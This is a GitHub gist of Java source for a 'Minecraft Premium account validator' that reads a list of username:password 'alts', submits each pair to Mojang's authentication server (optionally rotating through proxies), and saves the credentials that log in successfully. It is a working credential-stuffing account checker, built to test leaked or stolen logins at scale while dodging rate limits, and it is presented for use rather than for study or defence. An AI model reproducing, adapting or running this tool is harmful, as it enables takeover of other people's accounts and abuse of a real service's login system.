Skip to content

Instantly share code, notes, and snippets.

@FarisR99
Last active August 29, 2015 14:04
Show Gist options
  • Save FarisR99/4b6effc2abdaff98251e to your computer and use it in GitHub Desktop.
Save FarisR99/4b6effc2abdaff98251e to your computer and use it in GitHub Desktop.
Minecraft Premium account validator - ignores demo accounts!
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
import javax.swing.*;
import java.io.*;
import java.net.*;
import java.util.*;
public class Main extends JFrame {
public static void main(String[] args) {
List<ProxyData> proxyList = new ArrayList<ProxyData>();
// TODO: Add your proxies to the list using: proxyList.add(new ProxyData("<IP_ADDRESS>", <PORT>, Proxy.Type.<PROXY_TYPE>));
new Main(proxyList);
}
private List<ProxyData> proxyList = null;
private URL authURL = null;
private Scanner scanner = null;
private File logsFile = null, altsFile = null, validAltsFile = null;
private boolean hasPrintedProxyError = false;
public Main() {
this(new ArrayList<ProxyData>());
}
public Main(List<ProxyData> proxyDatas) {
try {
this.authURL = new URL("https://authserver.mojang.com/authenticate");
URLConnection connection = this.authURL.openConnection();
if (connection != null) connection.connect();
if (connection == null) {
System.out.println("Could not connect to the Mojang Authentication servers.");
return;
}
} catch (Exception ex) {
System.out.println("Could not connect to the Mojang Authentication servers:");
ex.printStackTrace();
return;
}
this.scanner = new Scanner(System.in);
try {
this.getAltsFile();
} catch (Exception ex) {
System.out.println("Could not set up default files:");
ex.printStackTrace();
this.scanner.close();
return;
}
try {
System.out.println("Checking alts file: " + (this.altsFile != null ? this.altsFile.getAbsolutePath() : "Null") + "");
System.out.println("");
this.proxyList = proxyDatas != null ? proxyDatas : new ArrayList<ProxyData>();
ProxyData chosenProxy = this.proxyList.isEmpty() ? null : this.proxyList.get(new Random().nextInt(this.proxyList.size()));
if (chosenProxy != null) {
System.out.println("Connecting to Mojang Authentication Servers using a proxy. (" + chosenProxy.getIP() + ":" + chosenProxy.getPort() + ")");
System.out.println("");
}
int[] checkAltsResult = this.checkAlts(chosenProxy);
if (checkAltsResult[0] != -1) {
System.out.println("Successfully saved all the valid alts to '" + (this.validAltsFile != null ? this.validAltsFile.getAbsolutePath() : "Null") + "'!");
System.out.println("Valid alts: " + checkAltsResult[0] + "/" + checkAltsResult[1]);
} else {
System.out.println("Could not save all the valid alts.");
}
this.hasPrintedProxyError = false;
} catch (Exception ex) {
System.out.println("Could not read the alts file:");
ex.printStackTrace();
this.hasPrintedProxyError = false;
return;
}
this.scanner.close();
}
public void getAltsFile() throws Exception {
System.out.println("Please enter the alts file location: ");
if (this.scanner.hasNextLine()) {
File altsFile = new File(this.scanner.nextLine());
if (!altsFile.getName().endsWith(".txt")) {
File testAltsFile = new File(altsFile.getAbsolutePath() + ".txt");
if (testAltsFile.exists()) altsFile = testAltsFile;
}
if (altsFile.exists()) {
if (altsFile.isFile()) {
if (altsFile.getName().endsWith(".txt")) {
this.altsFile = altsFile;
System.out.println("");
this.scanner.close();
this.getValidAltsFile();
} else {
System.out.println("The file specified is not a text file.");
System.out.println("");
this.getAltsFile();
}
} else {
System.out.println("The location specified is not a file.");
System.out.println("");
this.getAltsFile();
}
} else {
System.out.println("The alts file location specified does not exist.");
System.out.println("");
this.getAltsFile();
}
}
}
public void getValidAltsFile() throws Exception {
if (this.altsFile != null) {
File altsParent = this.altsFile.getAbsoluteFile().getParentFile();
this.validAltsFile = new File(altsParent, "valid_" + this.altsFile.getName().toLowerCase().trim().replace(" ", "_"));
if (this.validAltsFile.getName().endsWith(".txt")) {
if (this.validAltsFile.exists()) this.validAltsFile.delete();
this.validAltsFile.createNewFile();
this.logsFile = new File(altsParent, "log_" + this.altsFile.getName().trim().replace(" ", "_"));
try {
if (this.logsFile.exists()) this.logsFile.delete();
this.logsFile.createNewFile();
} catch (Exception ex) {
}
} else {
System.out.println("The valid alts file is somehow not a text file!");
System.out.println("");
this.getAltsFile();
}
} else {
System.out.println("The alts file is somehow null!");
System.out.println("");
this.getAltsFile();
}
}
public int[] checkAlts() throws Exception {
return this.checkAlts(null);
}
public int[] checkAlts(ProxyData proxyData) throws Exception {
if (this.altsFile != null && this.validAltsFile != null && this.altsFile.exists() && this.validAltsFile.exists()) {
FileWriter validAltsWriter = new FileWriter(this.validAltsFile);
List<String> loggedMessages = new ArrayList<String>();
int[] validAlts = new int[]{0, 0};
try {
final JSONParser jsonParser = new JSONParser();
List<String> altsList = new ArrayList<String>();
BufferedReader altsReader = new BufferedReader(new FileReader(this.altsFile));
String line = null;
while ((line = altsReader.readLine()) != null) {
if (line.contains(":")) altsList.add(line);
}
altsReader.close();
validAlts[1] = altsList.size();
loggedMessages.add(print("Scanning " + validAlts[1] + " alt accounts..."));
loggedMessages.add(print(""));
for (String alt : altsList) {
if (alt != null && alt.contains(":")) {
alt = alt.replace(" ", "");
String[] altSplit = alt.split(":");
String strUsername = altSplit.length > 0 ? altSplit[0] : null;
String strPassword = altSplit.length > 1 ? altSplit[1] : null;
if (strUsername != null && strPassword != null) {
try {
loggedMessages.add(print("Checking '" + strUsername + ":" + strPassword + "'"));
String userRequest = this.httpRequest(proxyData, this.makeJSONRequest(strUsername, strPassword));
if (userRequest == null) {
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is not a valid premium account!"));
loggedMessages.add(print(""));
continue;
}
JSONObject jsonResponse = null;
try {
Object objJsonResponse = jsonParser.parse(userRequest);
jsonResponse = objJsonResponse != null && objJsonResponse instanceof JSONObject ? (JSONObject) objJsonResponse : null;
} catch (Exception ex) {
jsonResponse = null;
}
boolean isDemoAccount = jsonResponse != null ? !jsonResponse.containsKey("error") && jsonResponse.containsKey("availableProfiles") && ((JSONArray) jsonResponse.get("availableProfiles")).isEmpty() : !userRequest.contains("error") && !userRequest.contains("availableProfiles");
if (!userRequest.contains("error") && !isDemoAccount) {
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is a valid premium account!"));
validAltsWriter.write(strUsername + ":" + strPassword + System.getProperty("line.separator"));
validAlts[0]++;
} else {
Object objUserResult = jsonParser.parse(userRequest);
JSONObject userResult = objUserResult != null && objUserResult instanceof JSONObject ? (JSONObject) objUserResult : null;
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is " + (isDemoAccount ? "a demo account" : "not a valid premium account") + (userRequest != null && userResult.containsKey("errorMessage") ? ": " + userResult.get("errorMessage") : "!")));
}
loggedMessages.add(print(""));
} catch (ConnectException ex) {
loggedMessages.add(print("Checking '" + strUsername + ":" + strPassword + "'"));
String userRequest = this.httpRequest(null, this.makeJSONRequest(strUsername, strPassword));
if (userRequest == null) {
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is not a valid premium account!"));
loggedMessages.add(print(""));
continue;
}
JSONObject jsonResponse = null;
try {
Object objJsonResponse = jsonParser.parse(userRequest);
jsonResponse = objJsonResponse != null && objJsonResponse instanceof JSONObject ? (JSONObject) objJsonResponse : null;
} catch (Exception ex2) {
jsonResponse = null;
}
boolean isDemoAccount = jsonResponse != null ? !jsonResponse.containsKey("error") && jsonResponse.containsKey("availableProfiles") && ((JSONArray) jsonResponse.get("availableProfiles")).isEmpty() : !userRequest.contains("error") && !userRequest.contains("availableProfiles");
if (!userRequest.contains("error") && !isDemoAccount) {
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is a valid premium account!"));
validAltsWriter.write(strUsername + ":" + strPassword + System.getProperty("line.separator"));
validAlts[0]++;
} else {
Object objUserResult = jsonParser.parse(userRequest);
JSONObject userResult = objUserResult != null && objUserResult instanceof JSONObject ? (JSONObject) objUserResult : null;
loggedMessages.add(print("'" + strUsername + ":" + strPassword + "' is " + (isDemoAccount ? "a demo account" : "not a valid premium account") + (userRequest != null && userResult.containsKey("errorMessage") ? ": " + userResult.get("errorMessage") : "!")));
}
loggedMessages.add(print(""));
} catch (Exception ex) {
loggedMessages.add(print("Failed to check '" + strUsername + ":" + strPassword + "' due to: " + ex.getLocalizedMessage()));
loggedMessages.add(print(""));
continue;
}
}
}
}
} catch (Exception ex) {
this.printMessages(loggedMessages);
throw ex;
}
this.printMessages(loggedMessages);
validAltsWriter.flush();
validAltsWriter.close();
return validAlts;
} else {
return new int[]{-1, -1};
}
}
public String print(String message) {
if (message != null) {
System.out.println(message);
}
return message;
}
public void printMessages(String message) {
this.printMessages(Arrays.asList(message));
}
public void printMessages(List<String> messages) {
if (messages != null && this.logsFile != null) {
try {
FileWriter fileWriter = new FileWriter(this.logsFile);
String newLine = System.getProperty("line.separator");
if (messages.isEmpty()) {
fileWriter.write(newLine);
} else {
for (String message : messages) {
if (message != null) fileWriter.write(message + newLine);
else fileWriter.write(newLine);
}
}
fileWriter.flush();
fileWriter.close();
} catch (Exception ex) {
}
}
}
private String makeJSONRequest(String username, String password) {
JSONObject json1 = new JSONObject();
json1.put("name", "Minecraft");
json1.put("version", 1);
JSONObject json = new JSONObject();
json.put("agent", json1);
json.put("username", username);
json.put("password", password);
return json.toJSONString();
}
private String httpRequest(String content) throws Exception {
return this.httpRequest(null, content);
}
private String httpRequest(ProxyData proxyData, String content) throws Exception {
byte[] contentBytes = content.getBytes("UTF-8");
URLConnection connection = null;
if (proxyData != null && !this.hasPrintedProxyError) {
try {
connection = this.authURL.openConnection(new Proxy(proxyData.getType(), new InetSocketAddress(proxyData.getIP(), proxyData.getPort())));
} catch (Exception ex) {
if (!this.hasPrintedProxyError) {
System.out.println("Could not connect to the proxy (" + proxyData.getIP() + ":" + proxyData.getPort() + "): " + ex.getLocalizedMessage());
this.hasPrintedProxyError = true;
}
}
}
if (connection == null) connection = this.authURL.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setRequestProperty("Accept-Charset", "UTF-8");
connection.setRequestProperty("Content-Type", "application/json");
connection.setRequestProperty("Content-Length", Integer.toString(contentBytes.length));
OutputStream requestStream = connection.getOutputStream();
requestStream.write(contentBytes, 0, contentBytes.length);
requestStream.close();
String response = "";
BufferedReader responseStream;
HttpURLConnection httpURLConnection = (HttpURLConnection) connection;
if (httpURLConnection.getResponseCode() == 200) {
responseStream = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
} else {
responseStream = new BufferedReader(new InputStreamReader(httpURLConnection.getErrorStream(), "UTF-8"));
}
response = responseStream.readLine();
responseStream.close();
if (httpURLConnection.getResponseCode() != 200) {
}
return response;
}
public static class ProxyData {
private String proxyIP = "";
private int proxyPort = -1;
private Proxy.Type proxyType = null;
public ProxyData(String ipAddress) {
this.proxyIP = ipAddress;
this.proxyPort = 80;
this.proxyType = Proxy.Type.HTTP;
}
public ProxyData(String ipAddress, Proxy.Type type) {
this.proxyIP = ipAddress;
this.proxyPort = 80;
this.proxyType = type;
}
public ProxyData(String ipAddress, int port) {
this.proxyIP = ipAddress;
this.proxyPort = port;
this.proxyType = Proxy.Type.HTTP;
}
public ProxyData(String ipAddress, int port, Proxy.Type type) {
this.proxyIP = ipAddress;
this.proxyPort = port;
this.proxyType = type != null ? type : Proxy.Type.HTTP;
}
public String getIP() {
return this.proxyIP;
}
public int getPort() {
return this.proxyPort;
}
public Proxy.Type getType() {
return this.proxyType;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment